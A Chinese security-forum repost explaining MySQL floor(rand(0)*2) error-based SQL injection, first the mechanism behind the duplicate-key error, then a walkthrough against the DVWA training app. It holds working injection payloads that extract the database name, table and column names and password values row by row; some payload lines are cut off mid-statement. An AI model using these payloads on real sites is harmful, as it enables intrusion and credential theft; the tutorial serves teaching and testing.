安全矩阵

 找回密码
 立即注册
搜索
查看: 4011|回复: 0

报错注入详解(floor)

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-11 16:18:08 | 显示全部楼层 |阅读模式
原文链接:报错注入详解(floor)

NO.1 声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


NO.2 正文

首先最基本的一条语句
select count(*),floor(rand(0)*2)x from table group by x





这条语句主要包含rand floor count  group这几个关键字,下面逐个解释下着几个函数的作用


(1)Rand()可以产生一个在[0,1)之间的随机数
执行几遍select RAND() from users; 结果如下


可以发现每一次执行结果都不一样
但是当提供一个种子参数0以后,执行几遍select RAND(0) from users; 结果如下



可以发现每次产生的值都是一样的,可以称之为伪随机(可以预测)
(2)floor()函数返回小于等于该值的最大整数
由于rand()产生的是0-1之间的随机数,那么乘以2以后将产生0-2之间的随机数,再配合floor()将产生确定的2个数—“0”或”1”。
执行几遍select floor(RAND(0)*2) from users;


可以发现返回的数值是一个可以预测的序列0,1,1,0,1,1,0,0,1,1
(3)group by 与count(*)
group  by 主要用来对数据进行分组(相同的分为一组),这里与count() 结合使用统计出现次数。举个例子如下




可以发现主要是对重复数据进行分组并进行计数,并且mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count(*),并且其中key是主键,不可重复。也就对应于上个截图中的 first_name 和 count(*)。
然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。
(4)报错分析
select count(*),floor(rand(0)*2)x from users group by x;
floor(rand(0)*2)后面的’x’ 是floor(rand(0)*2)的别名,后面可用x来代指floor(rand(0)*2)
下面分析下此语句执行的过程
查询前默认会建立空虚拟表如下图:

取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

NO.2 在具体网站的测试

1、查询当前数据库
下面以dvwa为测试
(1)当我们输入一下POC时:
1' or (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)#

网站实际查询的完整SQL语句为
select user from users where user_id='1' or (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from
PS:0x7e是”~”的十六进制编码,”#”用于注释站点自带的后面的SQL语句
报错Operand should contain 1 column(s)是因为or后面应该接1个布尔型的值,而我们接的是一个表,所以报错
(2) 修改语句为
1' or (select 1 from (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a))#
此时查询的是一个值而不是表

仍然报错,Every derived table must have its own alias,这是因为进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名,修改为select * from (select * from ……) as 别名;
(3)修改语句为
1' or (select 1 from (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.table
成功查询出当前连接数据库为dvwa
2、查询当前数据库的所有的表
查询所有的表语句:
select group_concat(table_name) from information_schema.tables where table_schema=database()
替换查询数据库的POC里database(),可以得到如下语句
1' or (select 1 from (select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables
3、查询指定表的所有列
select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name = 'users'
替换查询数据库的POC里database(),可以得到如下语句
1' or (select 1 from (selectcount(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns
4、查询指定字段值
select group_concat(user,password) from users
替换查询数据库的POC里database(),可以得到如下语句:
1' or (select 1 from (select count(*),concat(0x7e,(select group_concat(password) from users),0x7e,floor(rand(0)*2))a from information_schema.tables group by
a)x)#


成功查询到password,由于报错注入存在最大返回长度,所以可以用limit来逐个取数据
1'or (select 1 from (select count(*),concat(0x7e,(select password from users limit 0,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#
PS:取0开始的1条数据







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 00:48 , Processed in 0.015439 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表